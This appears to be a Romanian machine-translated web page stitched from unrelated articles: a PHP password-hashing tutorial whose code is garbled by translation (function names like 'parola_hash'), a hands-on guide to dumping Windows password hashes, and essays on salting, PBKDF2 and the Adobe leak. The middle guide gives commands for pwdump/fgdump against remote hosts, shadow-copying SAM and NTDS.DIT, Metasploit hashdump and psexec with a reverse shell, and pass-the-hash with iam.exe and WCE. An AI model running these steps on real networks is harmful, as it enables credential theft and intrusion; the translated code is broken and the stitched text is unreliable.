Riscuri și probleme legate de hashingul parolei. Hashing parole folosind API-ul Hash

În prezent, utilizarea bcrypt este cea mai bună modalitate de a hash parolele, dar mulți dezvoltatori folosesc MD5 și SHA1 la modă veche. Mulți dintre ei nu folosesc tehnica de adăugare a sării. În PHP 5.5 au decis să concentreze atenția dezvoltatorilor asupra algoritmului bcrypt și au creat un API hash special.

API-ul Hash constă din următoarele funcții:

  • password_hash() - pentru a genera un hash de parolă.
  • password_verify() - verificarea parolei.
  • password_needs_rehash() - folosit atunci când trebuie să regenerați hash-ul.
  • password_get_info() - returnează numele algoritmului și alte informații.

password_hash()

Utilizarea funcției crypt() provoacă confuzie pentru mulți oameni din cauza complexității sale, așa că sunt utilizate în schimb metode simplificate pentru crearea unui hash. De exemplu:

$hash = md5($parola . $sare); // funcționează, dar nu este de încredere

Funcția password_hash() face acest proces cât mai ușor posibil. Dacă trebuie să creați un hash de parolă, apelați această funcție și scrieți valoarea în baza de date.

$hash = parola_hash($parola, PAROLA_DEFAULT);

Asta este! Primul parametru este un șir care reprezintă parola; al doilea este algoritmul care va fi aplicat.

Algoritmul implicit este bcrypt, dar alți algoritmi mai avansați vor fi adăugați în viitor. Dacă utilizați PASSWORD_DEFAULT, rețineți că rezultatul va fi un șir de mai mult de 60 de caractere. Poate fi mai mare, mai ales atunci când folosiți alți algoritmi, așa că în tabel puteți seta dimensiunea câmpului la 255. Ca al doilea parametru, puteți utiliza constanta PASSWORD_BCRYPT. În acest caz, dimensiunea șirului de ieșire va fi de exact 60 de caractere.

Este important să înțelegeți că nu trebuie să treceți singur sarea sau parametrul de cost (costul este numărul de runde de preparare a cheii). Noul API va face acest lucru pentru tine. Dar dacă doriți să setați singuri acești parametri, o puteți face după cum urmează.

$opțiuni = [ "salt" => custom_function_for_salt(), //scrieți propria funcție de generare a sării "cost" => 12 // implicit este 10 ]; $hash = parola_hash($parolă, PAROLA_DEFAULT, $opțiuni);

Asta este!

parola_verify()

Acum că știți cum să generați un hash, să vedem cum să-l validăm.

Funcția password_verify() acceptă o parolă simplă și hash-ul acesteia. În funcție de rezultatele verificării, returnează adevărat sau fals.

Dacă (verificare_parolă($parolă, $hash)) ( // Succes! ) else ( // Eșec )

Rețineți că sarea se află în hașul propriu-zis, așa că nu trebuie să o specificăm manual.

password_needs_rehash()

Ce se întâmplă dacă trebuie să actualizați setările pentru sare sau costuri? Sau s-au schimbat setările de hashing PHP? În acest caz, puteți utiliza funcția password_needs_rehash() pentru a verifica acest fapt.

If (password_needs_rehash($hash, PASSWORD_DEFAULT, ["cost" => 12])) ( // trebuie să creați din nou hash-ul parolei $hash = password_hash($parolă, PASSWORD_DEFAULT, ["cost" => 12]); )

Această operațiune se poate face atunci când utilizatorul se conectează în sistem, deoarece numai atunci avem acces la parolă în mod explicit.

password_get_info()

password_get_info() returnează parametrii hash:

  • algo - constantă cu numele algoritmului
  • algoName - numele algoritmului
  • opțiuni - diverse setări

Concluzie

Noul API de hashing a parolei este foarte simplu. Acesta este un înlocuitor excelent pentru funcția crypt(). Dacă PHP 5.5 este disponibil pe serverul dvs., vă recomandăm să utilizați acest API.

În acest articol vom acoperi elementele de bază ale utilizării noului API hashing în PHP. Această metodă de hashing a parolelor vă va face viața cât mai ușoară posibil. Ne luăm parola -> obținem hash-ul -> o scriem în baza de date. Fără manipulări inutile.

. password_hash()- folosit pentru hashing parole.
. parola_verify()- folosit pentru a verifica parola față de hash.
. password_needs_rehash()- folosit pentru a verifica dacă este necesar să se creeze un nou hash.
. password_get_info()- returnează numele algoritmului de hashing și diverși parametri utilizați în hashing.

// parola noastră
$pass="123456";
$hash=parola_hash($pass, PASSWORD_DEFAULT);
?> Este atât de ușor și simplu. Primul parametru este șirul de parolă care trebuie să fie hash, iar al doilea parametru specifică algoritmul care ar trebui utilizat pentru a genera hash-ul.

Algoritmul implicit este în prezent BCrypt, dar un algoritm mai puternic poate fi setat ca implicit cândva în viitor și poate genera șiruri mai mari. Dacă utilizați PASSWORD_DEFAULT, asigurați-vă că stocați hash-ul într-o coloană mai mare de 60 de caractere. Cel mai bine este să setați dimensiunea la 255. De asemenea, puteți utiliza PASSWORD_BCRYPT ca al doilea parametru. În acest caz, rezultatul va fi întotdeauna de 60 de caractere.

Deci, dacă acest lucru nu este suficient pentru tine, poți folosi propria ta sare
$op=[
"salt" => gensalt(), // aici este funcția dvs. de generare de sare
„cost” => 12
];
$hash=parola_hash($pass, PASSWORD_DEFAULT, $op);
?> Gata.

Acum să verificăm parola introdusă de utilizator. Tot ce avem nevoie este să luăm hash-ul parolei din baza noastră de date și să o comparăm cu parola introdusă.

// $hash este hash-ul parolei obținut din baza de date
if (verificare_parolă($pass, $hash)):
imprimați „Parola corectă!”;
altceva:
printează „Parolă greșită:(”;
endif;
?> password_needs_rehash()
Funcția password_needs_rehash() verifică dacă o parolă hash folosește un anumit algoritm, sare și costuri de calcul.
if (parola_needs_rehash($hash, PASSWORD_DEFAULT, ["cost" => 12])):
$hash=password_hash($pass, PASSWORD_DEFAULT, ["cost" => 12]);
endif;
?> Această operațiune se poate face atunci când utilizatorul se conectează în sistem, deoarece numai atunci obținem acces la parolă în mod explicit.

password_get_info()
Funcția password_get_info() ia un hash și returnează o matrice asociativă de trei elemente:
. algo - o constantă care identifică un anumit algoritm
. algoName - numele algoritmului utilizat
. opțiuni - diverse opțiuni utilizate la generarea hash-ului

Acest articol este o colecție completă de rețete care descriu cum să eliminați hash-urile parolei utilizatorului, să recuperați trecerea inițială folosind forța brută și să utilizați hash-ul extras pentru a obține acces la resursele protejate folosind defecte ale protocolului de autentificare NTLM. Un minim de teorie - doar practică. Am adunat totul într-un singur loc și am creat un manual complet.

AVERTIZARE

Toate informațiile sunt furnizate doar în scop informativ. Nici editorii, nici autorul nu sunt responsabili pentru eventualele daune cauzate de materialele acestui articol.

Unde sunt parolele?

Voi răspunde imediat la întrebarea despre unde sunt stocate hash-urile parolelor în sistem. În general, acestea pot fi preluate din trei locuri:

  • din baza de date locală SAM, unde sunt stocate hashurile LM/NTLM ale utilizatorilor locali;
  • din memoria cache LSA, care conține hash-uri LM/NTLM ale utilizatorilor de domeniu, care sunt șterse după o repornire;
  • dintr-un cache special, unde sunt stocate hash-urile MSCache ale parolelor ultimilor zece utilizatori care s-au autentificat la această gazdă (parolele sunt stocate în cache, astfel încât să vă puteți autentifica dacă conexiunea la domeniu este temporar indisponibilă).

Dacă se folosește un controler de domeniu, există și stocare AD. Este important să înțelegeți un lucru: parolele pot fi aruncate din fiecare locație specificată! Majoritatea tehnicilor de mai jos sunt cunoscute de mult, dar am decis să facem un fel de colecție completă de rețete la care te poți referi oricând dacă este necesar. Mai jos sunt 7 rețete gata de consumat.

PwDump și fgdump

Să începem cu o situație în care avem acces fizic la sistemul care ne interesează. În acest caz, hashurile NTLM/LM pot fi descărcate folosind utilități speciale. Cele mai multe dintre aceste instrumente necesită privilegii mari, deoarece sunt necesare pentru injectarea DLL folosind SeDebugPrivilege. Pentru simplitate, vom presupune că avem un cont cu drepturi de administrator (sau mai bine zis, NT AUTHORITY\SYSTEM).


Dacă aveți acces fizic, este destul de simplu să schimbați hash-uri: există multe moduri și puteți oricând să porniți de pe o unitate flash (sau LiveCD), de exemplu, Kon-Boot, pentru a vă conecta ca orice utilizator. Există multe alte hack-uri (inclusiv cele pentru creșterea privilegiilor către NT AUTHORITY\SYSTEM de la un administrator local), despre care am scris de mai multe ori în secțiunea EasyHack anul trecut. Dar să revenim la procesul de extragere a hashurilor. Cele mai cunoscute utilități hash dump sunt pwdump și fgdump. Lucrul cu aceste instrumente este destul de simplu și sunt foarte similare ca funcționalitate. Pentru a descărca fișierele hash, rulați programul:

Pwdump localhost fgdump.exe

Primele ieșiri utilitare au găsit hash-uri direct în consolă. Cel de-al doilea salvează rezultatul în fișierele 127.0.0.1.PWDUMP (hash-uri pentru parola utilizatorului local) și 127.0.0.1.CACHEDUMP (hash-uri pentru parola utilizatorului de domeniu stocate în cache).

Una dintre cele mai interesante opțiuni pe care le acceptă ambele utilități vă permite să descărcați hash-uri de la mașini la distanță. Pentru a efectua acest truc, de exemplu, folosind pwdump, trebuie să rulați:

> pwdump -o mytarget.log -u MYDOMAIN\someuser -p\"lamepassword" 10.1.1.1

Aici 10.1.1.1 este adresa mașinii la distanță, MYDOMAIN\someuser este contul de utilizator, lamepassword este parola utilizatorului și mytarget.log este fișierul pentru salvarea rezultatelor. Spre deosebire de pwdump, fgdump poate descărca hashe-uri nu numai de la o singură mașină, ci de la mai multe simultan:

> fgdump.exe -f hostfile.txt -u MYDOMAIN\someuser -T 10

În acest caz, hostfile.txt este un fișier care conține o listă de gazde, „-T 10” este numărul de fire care rulează în paralel. Puteți încerca să forțați hashul rezultat folosind utilități speciale pentru a afla trecerea originală (căutați o selecție întreagă de instrumente adecvate în bara laterală).

Este de remarcat faptul că unele dintre ele acceptă formatul de ieșire fgdump.exe pentru o mai mare comoditate.

Eliminați parolele utilizând Serviciul de copiere umbra volum

În timp ce utilități precum pwdump și fgdump au o sută de ani, metoda de descărcare a parolei, care va fi discutată mai jos, a apărut relativ recent. Cel mai tare lucru este că nu necesită deloc instrumente terțe și utilizează doar capacitățile sistemului în sine. După cum știm deja, hash-urile parolelor utilizatorilor locali sunt, de asemenea, stocate în fișierul SAM, deși în formă criptată. Prin urmare, pentru a le citi, este necesar un alt fișier - SYSTEM. Aceste două fișiere sunt ramuri de sistem ale registrului pe care sistemul de operare le folosește în mod constant, deci nu pot fi accesate nici măcar ca administrator. Din acest motiv, multe aplicații care preiau hash-uri de parole trebuie să facă tot posibilul pentru a obține acces la aceste ramuri. Pentru a copia aceste fișiere, vom folosi mecanismul legal oferit de sistemul de operare însuși. Acest mecanism, care vă permite să faceți o „instantanee” a unui volum, se numește Serviciu de copiere umbra a volumului. A apărut în sistemele de operare Windows începând cu versiunile XP și Server 2003. Această tehnologie este utilizată automat, de exemplu, atunci când se creează o arhivă System State utilizând utilitarul ntbackup sau când se creează un instantaneu pentru un folder partajat (Volume Shadow Copy for Shared Folders) . Esența ideii este că copiarea umbră va crea copii ale fișierelor importante de sistem (în special, SAM și SYSTEM), pe care le putem accesa cu ușurință. Pentru a scăpa de lucrările inutile în consolă, vom folosi un mic script vssown.vbs care controlează crearea de copii. Veți găsi scriptul pe discul nostru. Mai întâi, lansăm serviciul de copiere umbră: cscript vssown.vbs /start. Apoi creăm o nouă copie umbră: cscript vssown.vbs /create. Acum uitați-vă la lista tuturor copiilor umbre: cscript vssown.vbs /list.

Copia pe care o creăm va fi cea mai recentă. Dintre toate informațiile, ne interesează obiectul Dispozitiv cu valoarea „\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14” (aici 14 este numărul copiei umbre). Manipulările ulterioare sunt extrem de simple.

  1. Copiem fișierele care ne interesează: copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SYSTEM . copiați \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SAM .
  2. Gata, acum aceste fișiere pot fi transmise unui utilitar precum SAMInside pentru a decripta hashurile primite.

Eliminați parolele tuturor utilizatorilor de domeniu!

Interesant este că, folosind tehnica anterioară, puteți scurge cu ușurință hash-urile parolei nu numai pentru utilizatorii locali, ci și pentru toți utilizatorii de domeniu în general! Adevărat, doar dacă avem acces la controlerul de domeniu. Să presupunem că am creat o copie umbră și am copiat fișierele SAM și SYSTEM. Active Directory stochează datele utilizatorului în fișierul NTDS.DIT ​​​​, așa că trebuie să le copiați și pe acestea:

Copiați \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\ntds\ntds.dit .

Datele utilizatorului sunt stocate criptat, deci vor trebui decriptate folosind SISTEMUL. Deci ce avem? Avem fișierele SYSTEM și NTDS.DIT, dar cum obținem o listă de utilizatori și hashurile lor? Până de curând, acest lucru nu a fost ușor, deoarece nu existau utilitare gratuite care să poată analiza NTDS.DIT ​​​​și decripta hashe-urile. Dar recent, un cercetător pe nume Csaba Barta a lansat un set de instrumente care poate analiza fișierul NTDS.DIT ​​și extrage hash-uri din acesta. Întregul set de instrumente este disponibil la csababarta.com/downloads/ntds haldă hash.zip Să vedem cum funcționează acest set de instrumente. Pentru manipulări ulterioare vom folosi BackTrack5 (orice altă distribuție Linux va face), deși același lucru se poate face și sub Windows. Porniți, descărcați arhiva setului de instrumente și despachetați-o. Apoi, asamblam biblioteca libesedb:

Cd libesedb chmod +x configure ./configure && make

Acum puteți începe să aruncați hash-uri. În primul rând, recuperăm tabelul care conține datele criptate:

Cd esedbtools ./esedbdumphash ../../ntds.dit

Acum avem un fișier /libesedb/esedbtools/ntds.dit.export/datatable. Deja un profit. Acum trebuie decriptat folosind cheia conținută în SYSTEM:

Cd ../../creddump/ python ./dsdump.py ../SYSTEM ../libesedb/esedbtools/ntds.dit.export/datatable

Gata! Rezultatul este hash-urile tuturor utilizatorilor de domeniu! Interesant este că puteți extrage și parolele de utilizator anterioare (hash-urile lor). În acest scop, setul de instrumente are un utilitar separat care este ușor de utilizat:

Python ./dsdumphistory.py ../system ../libesedb/esedbtools/ntds.dit.export/datatable.

Dacă pot fi sparte, este foarte posibil să se urmărească un model conform căruia utilizatorul își schimbă parolele (foarte des există).

HashGrab2 + samdump2

Pentru a descărca hashuri, nu este necesar să vă conectați la sistem. Din nou, dacă aveți acces fizic la computer, nu puteți doar să descărcați un utilitar de resetare a parolei de pe LiveCD (de exemplu, Offline NT Password & Registry Editor), ci și să descărcați cu ușurință hash-uri folosind un software special - desigur, deoarece nu există politicile de acces fișierele de sistem nu au niciun efect aici. Vom folosi HashGrab2 și utilitarele, care pot fi lansate din aproape orice distribuție LiveCD. HashGrab2 montează automat toate partițiile Windows pe care le poate găsi și folosește samdump2 pentru a extrage login-urile și hash-urile parolelor din fișierele SAM și SYSTEM. Iată cum arată în practică:

> sudo ./hashgrab2.py HashGrab v2.0 by s3my0n http://InterN0T.net Contact: RuSH4ck3Rgmailcom [*] Montat /dev/sda1 pe /mnt/jomAT8 [*] Montat /dev/sdb1 pe /mnt/AZwJUs [ *] Se copiază fișierele SAM și SYSTEM... [*] Se demontează partițiile... [*] Se șterg directoarele de montare... [*] Se șterg ["./jomAT8"] >$ ls hashgrab2.py jomAT8.txt >$ cat ./jomAT8.txt Administrator:HASH Guest:501:HASH s3my0n:1000:HASH HomeGroupUser$:1002:HASH

Hashe-urile rezultate pot fi imediat transmise forței brute.

Dezactivați stocarea în cache a parolei hash

După cum știți, Windows memorează în cache hash-urile parolelor și conectările utilizatorilor de domeniu, ceea ce vă permite să vă conectați la mașină dacă controlerul de domeniu este dezactivat și inaccesibil. Dacă utilizatorul introduce numele și parola corecte, atunci în timpul autorizării sistemul salvează hash-ul parolei pe disc. După cum înțelegeți, păstrarea acestor date pe disc nu este cea mai bună soluție din punct de vedere al securității, așa că este mai bine să dezactivați această funcție. Pentru a face acest lucru, trebuie să instalați cheia HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\cachedlogonscount la „0”. Apoi trebuie să reporniți computerul pentru a șterge toate parolele memorate anterior în cache. De acum înainte, Windows nu va stoca în cache parolele utilizatorilor de domeniu.

Caracteristicile Metasploit

Să presupunem acum că nu avem acces fizic la computer. Să avem în schimb un shell la distanță și, în mod ideal, Meterpreter. Cadrul Metasploit are deja o funcționalitate încorporată pentru a prelua o listă de utilizatori și hash-uri de parole. Acest lucru se face într-o singură comandă:

Meterpreter > rulați post/windows/gather/hashdump

Ca rezultat, obținem o listă de utilizatori și hashuri. Dar nu ar trebui să te oprești aici. Metasploit este un lucru multifuncțional, așa că puteți încerca să utilizați hashurile obținute pentru a accesa alte computere din rețeaua victimei - poate că va funcționa. Modulul PsExec este util pentru aceasta:

Meterpreter > folosește exploit/windows/smb/psexec meterpreter > setează sarcina utilă windows/meterpreter/reverse_tcp meterpreter > set rhost [adresă gazdă la distanță] meterpreter > set smbpass [hash utilizator obținut anterior] meterpreter > set smbuser [login utilizator] meterpreter > set l [adresa mașinii locale] meterpreter > exploit meterpreter > shell - a primit un shell pe o mașină la distanță

După cum puteți vedea, totul se întâmplă automat, fără complicații. Pentru a modifica în continuare orice fișiere de sistem, este util să ridicați imediat drepturile. Le puteți obține direct de la MeterPreter, care are o comandă simplă getsystem. Acest modul va încerca să ridice drepturile în sistemul de operare folosind vulnerabilitatea MS09-012, precum și vulnerabilitatea senzațională MS10-015 (KiTrap0D) și multe altele.


Cain&Abel este un alt instrument grozav pentru hash-uri NTML de forță brută
(în plus, acceptă hash-uri de hacking ale unui număr mare de alți algoritmi)

Tehnica Pass-the-Hash

Există o mare gaură în ambele implementări ale protocolului NTLM. Pentru autentificare, este suficient să cunoașteți doar hash-ul utilizatorului, adică nici măcar nu trebuie să forțați nimic. Ai primit hash-ul - și poți urca pe grilă cu drepturile unui utilizator compromis :). Metoda corespunzătoare, numită Pass The Hash, a fost dezvoltată încă din 1997. Una dintre cele mai faimoase implementări ale sale este setul de instrumente Pass-the-Hash. Include trei utilitare: IAM.EXE, WHOSTHERE.EXE și GENHASH.EXE. După cum sugerează și numele, GENHASH este proiectat să genereze hash-uri LM și NT ale parolei date. WHOSTHERE.EXE, afișează toate informațiile despre sesiunile de conectare pe care sistemul de operare le stochează în memorie. Instrumentul afișează informații despre utilizatorii care sunt în prezent conectați la sistem: nume de utilizator, domeniu/grup de lucru și hash-uri pentru parole NTLM. Utilitarul IAM.EXE vă permite să pretindeți că sunteți un alt utilizator atunci când obțineți acces la un folder de pe o mașină la distanță, înlocuind datele utilizatorului curent (autentificare, hash de parolă, domeniu etc.) atunci când sunt trimise în formă cache la telecomandă sistem astfel încât să poată identifica utilizatorul și să decidă dacă îi acordă acces la resursa solicitată. După falsificarea cu succes, toate conexiunile de rețea la servere la distanță care se autentifică folosind hash-uri NTLM utilizează datele falsificate, ceea ce permite accesul la partajarea „străină”. Să ne uităm la un exemplu de caz de utilizare:

whosthere.exe- primim datele tuturor utilizatorilor autentificati; iam.exe -h administrator:mydomain:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0- înlocuiți datele dumneavoastră cu datele altui utilizator.

Asta e tot, de fapt, acum avem drepturi de acces la resursele de rețea ale altui utilizator.

Editor de acreditări Windows


WCE este un analog al Pass-the-Hash Toolkit, dar aici toată funcționalitatea este concentrată într-un singur fișier executabil. Îmi place mai mult acest instrument. Când este lansată fără parametri, aplicația returnează o listă de utilizatori conectați în prezent în sistem (utilitatea extrage hash-uri NTLM/LM din memorie):

Wce.exe –l

După aceasta, puteți selecta dintre ei un candidat potrivit pentru faptele noastre murdare și puteți folosi datele sale. Să presupunem că trebuie să ne înlocuim datele cu datele altui utilizator și să rulăm un program presupus de sub el:

Wce.exe -s :::\ -c

Apoi rulați următoarea comandă:

Wce.exe –s utilizator:Victim:1F27ACDE849935B0AAD3B435B51404EE:579110C49145015C47ECD267657D3174 -c „c:\Program Files\Internet Explorer\iexplore.exe”

Aici, „-s” „adaugă” un nou utilizator numit utilizator și domeniu Victim, urmat de hash-ul LM și NTLM, iar „-c” specifică ce program ar trebui să fie rulat sub acel utilizator. După cum puteți vedea, totul este destul de simplu. 🙂

Programe pentru cracarea hashurilor

SAMînăuntru

insidepro.com/rus/saminside.shtml Poate cel mai popular program pentru spargerea hashurilor NTLM. Vă permite să importați peste zece tipuri de date și să utilizați șase tipuri de atacuri pentru a recupera parolele utilizatorului Codul brute forcer este scris în întregime în ASMA, ceea ce asigură o viteză foarte mare a forței brute. Este foarte important ca programul să preia corect numele de utilizator și parolele Windows în codificări naționale de caractere.

lm2ntcrack

www.xmco.fr/lm2ntcrack/index.html Un mic program care poate ajuta în momente dificile. Vă permite să spargeți hash-ul NT atunci când parola LM este deja cunoscută. Trucul este că parola LM nu ține seama de majuscule și minuscule, în timp ce parola NT ține cont de majuscule și este exact ceea ce este folosit pentru a o verifica. Astfel, dacă știți că parola LM este ADMINISTRAT0R, dar nu știți ce litere sunt scrise cu majuscule și care nu, lm2ntcrack vă va ajuta.

ighashgpu

www.golubev.com/hashgpu.htm Procesul de selecție este foarte laborios și necesită mult timp. Prin urmare, pentru a o accelera cumva, este recomandabil să folosiți resursele celui mai puternic dispozitiv din sistem - placa video. Programul ighashgpu vă permite să utilizați GPU-ul pentru a sparge hash-uri MD4, MD5, SHA1, NTLM, Oracle 11g, MySQL5, MSSQL. Dacă utilizați un atac de dicționar, un rezultat de succes poate fi obținut mult mai rapid.

CUDA-Multiforcer

www.cryptohaze.com/multiforcer.php Un alt utilitar care folosește puterea unei plăci grafice pentru a sparge diferite hashuri. După cum puteți ghici din nume, este destinat plăcilor video de la nVidia. Suportă o listă impresionantă de hashuri: MD5, NTLM, MD4, SHA1, MSSQL, SHA, MD5 PS: md5($trece.$sare), MD5 SP: md5($salt.$pass), SSHA: base64(sha1($pass.$salt)), DOUBLEMD5: md5(md5($pass)), TRIPLEMD5, LM: Microsoft LanMan hash etc.

ophcrack

Un program pentru recuperarea parolelor Windows folosind tabelele curcubeu. Astfel de tabele conțin hash-uri precalculate pentru diferite parole într-o formă specială. Astfel, după ce am găsit un hash dat în tabel, obținem rapid o parolă gata făcută. Succesul depinde direct de dimensiunea mesei curcubeu. Deci, dacă nu doriți să vă forțați parola, vă recomand să descărcați o tabletă mai mare.

Ioan Spintecătorul

www.openwall.com Versiunea oficială a acestei legendare parole brute forcer nu acceptă cracarea hashurilor NTLM, dar entuziaștii nu s-au putut abține să nu actualizeze funcționalitatea instrumentului lor de hack preferat. A fost lansat un patch jumbo special care vă permite să forțați mai mult de zece tipuri suplimentare de hashuri, inclusiv NTLM. Offsite-ul are atât diferențe care pot fi aplicate surselor originale, cât și binare gata de utilizare (inclusiv pentru win32).

Concluzie

Asta e tot, de fapt. Am luat în considerare toate situațiile cele mai comune. De fapt, există mult mai multe modalități de a fura (de exemplu, folosind un sniffer) și de a folosi hashes, dar cele mai multe se rezumă la metodele discutate mai sus.

Această secțiune explică motivele din spatele hashing-ului parolelor din motive de securitate, precum și tehnici eficiente de hashing.

De ce ar trebui să trimit parolele de utilizator în aplicația mea?

Schimbarea parolelor este una dintre cele mai elementare considerații de securitate pe care trebuie să le faceți atunci când dezvoltați o aplicație care acceptă parole de la utilizatori. Fără hashing, parolele stocate în baza de date a aplicației dvs. pot fi furate, de exemplu dacă baza dvs. de date este compromisă, și pot fi utilizate imediat pentru a compromite nu numai aplicația dvs., ci și conturile utilizatorilor dvs. de pe alte servicii dacă aceștia nu folosesc parole unice. .

Aplicând un algoritm de hashing parolelor utilizatorului înainte de a le stoca în baza de date, faceți imposibil ca cineva care vă atacă baza de date să ghicească parola originală, putând, în același timp, să compare hashul rezultat cu parola originală.

Este important să rețineți, totuși, că hashingul parolele le protejează doar împotriva compromisului în seif, dar nu neapărat împotriva interferării cu codul rău intenționat din aplicația dvs.

De ce sunt populare funcții de hashing precum md5()Şi sha1() nu este potrivit pentru parole?

Algoritmii de hashing precum MD5, SHA1 și SHA256 au fost proiectați pentru a fi foarte rapizi și eficienți. Odată cu disponibilitatea tehnologiei și echipamentelor moderne, a devenit destul de ușor să descoperi rezultatul acestor algoritmi folosind o metodă de forță brută pentru a determina datele de intrare originale.

Din cauza vitezei cu care computerele moderne pot „inversa” acești algoritmi de hashing, mulți profesioniști în securitatea computerelor descurajează cu tărie folosirea acestora pentru hashing parole.

Dacă funcțiile de hashing populare nu sunt potrivite, atunci cum ar trebui să îmi trimit parolele?

Există două considerații importante atunci când hashing parolele: costul de calcul și sare. Cu cât costul calculării unui algoritm de hashing este mai mare, cu atât este nevoie de mai mult timp pentru a sparge cu forța brută producția acestuia.

Securitate serioasă: Cum să stocați în siguranță parolele utilizatorilor dvs

În rezumat, iată recomandarea noastră minimă pentru stocarea în siguranță a parolelor utilizatorilor dvs.:

Utilizați un generator puternic de numere aleatoare pentru a crea o sare de 16 octeți sau mai mult.
Introduceți sarea și parola în algoritmul PBKDF2.
Utilizați HMAC-SHA-256 ca hash de bază în interiorul PBKDF2.
Efectuați 20.000 de iterații sau mai mult. (iunie 2016.)
Luați 32 de octeți (256 de biți) de ieșire de la PBKDF2 ca hash final al parolei.
Stocați numărul de iterații, sarea și hash-ul final în baza de date a parolelor.
Măriți-vă numărul de iterații în mod regulat pentru a ține pasul cu instrumentele de cracare mai rapide.

Orice ați face, nu încercați să vă combinați propriul algoritm de stocare a parolelor.

Dezavantajele hashingului simplu

Doar pentru că un algoritm eficient nu poate inversa un hash și nu poate restaura datele originale, nu înseamnă că nu poți fi piratat. Dacă căutați din greu, puteți găsi baze de date cu hashuri de cuvinte comune și fraze scurte. În plus, parolele simple pot fi rapid și ușor sau piratate.

Iată o scurtă demonstrație a modului în care instrumentul sparge parole prin injectare SQL folosind hash-uri de forță brută generate de algoritmul MD5.

Atacatorii o pot face și mai simplu - hashuri specifice în bazele de date online:






De asemenea, trebuie să înțelegeți că, dacă două sau mai multe parole identice au aceleași hashuri, atunci prin spargerea unui hash, obținem acces la toate conturile în care este folosită aceeași parolă. De exemplu: să avem câteva mii de utilizatori, probabil că mulți dintre ei folosesc parola 123456 (dacă setările site-ului nu forțează parola să fie complicată). Hash MD5 pentru această parolă. Deci, dacă obțineți acest hash și căutați această valoare în baza de date, veți găsi toți utilizatorii cu această parolă.

De ce hașurile sărate sunt nesigure

Pentru a face atacurile de tipul descris mai dificile, așa-numitele . Acesta este un instrument standard, dar cu puterea de calcul modernă nu mai este suficient, mai ales dacă lungimea sării este scurtă.

În general, o funcție care utilizează o sare poate fi reprezentată după cum urmează:

f(parolă, sare) = hash(parolă + sare)

Pentru a face un atac cu forță brută dificil, sarea trebuie să aibă cel puțin 64 de caractere. Dar problema este că pentru autentificarea ulterioară a utilizatorului, sarea trebuie să fie stocată în baza de date în text simplu.

dacă (hash([parola introdusă] + [sare]) == [hash]), atunci utilizatorul este autentificat

Făcând sarea unică pentru fiecare utilizator, putem rezolva problema ciocnirilor simple de hash. Acum toate hashe-urile vor fi diferite. De asemenea, abordările pentru căutarea pe Google hash și forța brută nu vor mai funcționa. Dar dacă un atacator obține acces la sare sau la baza de date prin injecție SQL, el poate ataca cu succes cu forță brută sau atacuri de dicționar, mai ales dacă utilizatorii aleg parole comune (la 123456).

Cu toate acestea, spargerea oricăreia dintre parole nu va mai identifica automat utilizatorii care au aceeași parolă - la urma urmei, TOȚI avem hashuri diferite.

Un moment de șansă

Pentru a genera o sare potrivită avem nevoie de un generator de numere aleatorii bun. Uitați imediat de funcția rand().

Aplicarea tehnologiilor de criptare

Mulți oameni sunt confuzi cu privire la termenii „hashing” și „criptare”. După cum am menționat mai sus, un hash este rezultatul unei funcții pseudo-aleatoare, în timp ce criptarea este implementarea transformare pseudoaleatoare: Datele de intrare sunt împărțite în părți și procesate în așa fel încât rezultatul să devină imposibil de distins de rezultatul unui generator de numere aleatoare cu drepturi depline. Cu toate acestea, în acest caz, este posibil să se efectueze transformarea inversă și să se restabilească datele originale. Conversia se realizează folosind o cheie cripto, fără de care este imposibil să se efectueze conversia inversă.

Există o altă diferență importantă între criptare și hashing: dimensiunea spațiului mesajului de ieșire nu este limitată și depinde de dimensiunea datelor de intrare într-un raport de 1:1. Prin urmare, nu există riscul de coliziuni.

Trebuie avut mare grijă pentru a vă asigura că criptarea este utilizată corect. Nu credeți că simpla criptare folosind un anumit algoritm este suficientă pentru a proteja datele importante. Există multe modalități de a fura date. Regula principală este să nu o faci niciodată singur și să folosești implementări gata făcute, dovedite.

Cu ceva timp în urmă, Adobe a avut o scurgere masivă a unei baze de date de utilizatori din cauza criptării implementate incorect. Să ne dăm seama ce s-a întâmplat cu ei.

Să presupunem că un tabel stochează următoarele date în text simplu:

Cineva de la Adobe a decis să cripteze parolele, dar a făcut două mari greșeli:


  1. a folosit aceeași cheie cripto;

  2. a lăsat câmpurile de indiciu pentru parolă necriptate.

Să presupunem că după criptare tabelul arată astfel:

Nu știm ce cheie cripto a fost folosită. Dar dacă analizați datele, veți observa că rândurile 2 și 7 folosesc aceeași parolă, precum și rândurile 3 și 6.

Este timpul să apelăm la indicația de parolă. În rândul 6 este „Eu sunt unul!”, care este complet neinformativ. Dar datorită liniei 3, putem presupune că parola este regina. Rândurile 2 și 7 individual nu ne permit să calculăm parola, dar dacă le analizăm împreună, putem presupune că este Halloween.

Pentru a reduce riscul scurgerii de date, este mai bine să utilizați diferite metode de hashing. Și dacă trebuie să criptați parolele, atunci acordați atenție criptării personalizate:

Să presupunem că avem mii de utilizatori și dorim să criptăm toate parolele. După cum se arată mai sus, este mai bine să evitați utilizarea unei singure chei criptografice. Dar nici nu putem crea o cheie unică pentru fiecare utilizator, deoarece stocarea cheilor în sine va deveni o problemă. În acest caz, este suficient să folosiți o criptocheie comună pentru toată lumea, dar în același timp să faceți o „setare” unică pentru fiecare utilizator. Combinația dintre cheie și „setări” va fi o cheie unică pentru fiecare utilizator.

Cea mai simplă opțiune de „setare” este așa-numita, unică pentru fiecare intrare din tabel. Nu este recomandat să îl utilizați în viața reală, este prezentat aici doar ca exemplu:

f(cheie, cheie primară) = cheie + cheie primară

Aici cheia și cheia primară sunt pur și simplu concatenate împreună. Dar pentru a asigura securitatea, ar trebui să le aplicați un algoritm de hashing sau o funcție de derivare a cheilor. De asemenea, în loc de o cheie primară, o puteți folosi pentru fiecare înregistrare (analog cu o sare).

Dacă aplicăm criptare personalizată tabelului nostru, va arăta astfel:

Desigur, va trebui făcut altceva cu indicii de parolă, dar totuși, cel puțin ceva adecvat a fost deja realizat.

